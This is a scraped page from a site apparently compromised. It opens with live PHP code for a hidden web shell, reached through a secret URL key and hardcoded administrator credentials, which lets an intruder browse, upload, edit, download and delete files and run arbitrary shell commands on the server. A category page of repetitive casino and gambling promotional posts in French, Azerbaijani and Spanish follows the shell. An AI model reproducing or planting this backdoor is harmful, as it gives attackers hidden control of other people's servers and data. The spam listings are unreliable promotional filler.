if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 4 – collectives.berlin

Your digital paradise.

Category: public

  • Meilleurs casinos en ligne Suisse : misez sur la sécurité et la rapidité des

    La popularité des casinos en ligne a explosé ces dernières années, en particulier en Suisse, où les joueurs cherchent des plateformes offrant sécurité et rapidité. Avec une variété de jeux et des paiements rapides, ces casinos attirent de plus en plus d’adeptes, notamment ceux qui s’intéressent au casino online suisse et ses nombreuses options de…

    Click or not…

  • Meilleurs casinos en ligne Suisse : misez sur la sécurité et la rapidité des

    La popularité des casinos en ligne a explosé ces dernières années, en particulier en Suisse, où les joueurs cherchent des plateformes offrant sécurité et rapidité. Avec une variété de jeux et des paiements rapides, ces casinos attirent de plus en plus d’adeptes, notamment ceux qui s’intéressent au casino online suisse et ses nombreuses options de…

    Click or not…

  • Pinco-nun mobil tətbiqi ilə oyun təcrübənizi artırın

    Online kazino oyunları son illərdə populyarlıq qazanmışdır və müasir dövrdə, mobil tətbiqlərin inkişafı ilə oyun təcrübəsi daha da asanlaşmışdır. Azərbaycanın oyunçuları, daha geniş oyun seçimi üçün Pinco kazino kimi platformalar vasitəsi ilə mərc imkanlarından yararlana bilərlər. Bu yazıda, Pinco-nun mobil tətbiqinin üstünlüklərini və necə daha yaxşı bir oyun təcrübəsi əldə edə biləcəyinizi araşdıracağıq. Oynayacağınız yeri…

    Click or not…

  • Pinco-nun mobil tətbiqi ilə oyun təcrübənizi artırın

    Online kazino oyunları son illərdə populyarlıq qazanmışdır və müasir dövrdə, mobil tətbiqlərin inkişafı ilə oyun təcrübəsi daha da asanlaşmışdır. Azərbaycanın oyunçuları, daha geniş oyun seçimi üçün Pinco kazino kimi platformalar vasitəsi ilə mərc imkanlarından yararlana bilərlər. Bu yazıda, Pinco-nun mobil tətbiqinin üstünlüklərini və necə daha yaxşı bir oyun təcrübəsi əldə edə biləcəyinizi araşdıracağıq. Oynayacağınız yeri…

    Click or not…

  • Pinko casino: 24/7 dəstək ilə oyun zamanı rahatlıq

    Pinko kazino, oyunsevərlərə mükəmməl oyun təcrübəsi təqdim edən bir platformadır. 2026-cı ildə online qumar dünyasında öndə olan Pinko casino, 6000-dən çox oyun seçimi, 24/7 dəstək xidməti və cəlbedici bonuslarla diqqət çəkir. Burada istənilən istifadəçi istədiyi oyunu rahatlıqla seçə və oynaya bilər. Bonuslar, oyunlar və hesab yaradılması ilə bağlı praktiki baxış Pinko kazino, oyunçulara geniş bonus…

    Click or not…

  • Pinko casino: 24/7 dəstək ilə oyun zamanı rahatlıq

    Pinko kazino, oyunsevərlərə mükəmməl oyun təcrübəsi təqdim edən bir platformadır. 2026-cı ildə online qumar dünyasında öndə olan Pinko casino, 6000-dən çox oyun seçimi, 24/7 dəstək xidməti və cəlbedici bonuslarla diqqət çəkir. Burada istənilən istifadəçi istədiyi oyunu rahatlıqla seçə və oynaya bilər. Bonuslar, oyunlar və hesab yaradılması ilə bağlı praktiki baxış Pinko kazino, oyunçulara geniş bonus…

    Click or not…

  • Pinko casino: 24/7 dəstək ilə oyun zamanı rahatlıq

    Pinko kazino, oyunsevərlərə mükəmməl oyun təcrübəsi təqdim edən bir platformadır. 2026-cı ildə online qumar dünyasında öndə olan Pinko casino, 6000-dən çox oyun seçimi, 24/7 dəstək xidməti və cəlbedici bonuslarla diqqət çəkir. Burada istənilən istifadəçi istədiyi oyunu rahatlıqla seçə və oynaya bilər. Bonuslar, oyunlar və hesab yaradılması ilə bağlı praktiki baxış Pinko kazino, oyunçulara geniş bonus…

    Click or not…

  • Crash game sur Chicken Road : stratégies pour gagner gros

    Le monde des jeux de casino en ligne a évolué avec l’arrivée de jeux innovants comme Chicken Road, un jeu de crash développé par InOut Games. Ce jeu captivant propose aux joueurs de naviguer à travers des défis pour atteindre un œuf d’or tout en évitant des pièges, et pour en savoir plus, vous pouvez…

    Click or not…

  • Promociones en Metabet casino: cómo aprovechar al máximo tus depósitos

    Los casinos en línea han ganado popularidad en los últimos años, y Metabet casino se ha destacado por ofrecer una experiencia excepcional a sus usuarios. Con una amplia variedad de juegos, promociones atractivas y la posibilidad de jugar desde la comodidad de tu hogar, Metabet se presenta como una opción ideal para quienes buscan entretenimiento…

    Click or not…

  • Metabet casino en 2026: las mejores promociones para jugadores en Bolivia

    En el emocionante mundo de los casinos online, Metabet se destaca como una plataforma ideal para los jugadores bolivianos en 2026. Con una amplia variedad de juegos, promociones atractivas y un enfoque en la seguridad del usuario, Metabet ofrece una experiencia inigualable que cada vez atrae a más aficionados. Si deseas conocer más sobre sus…

    Click or not…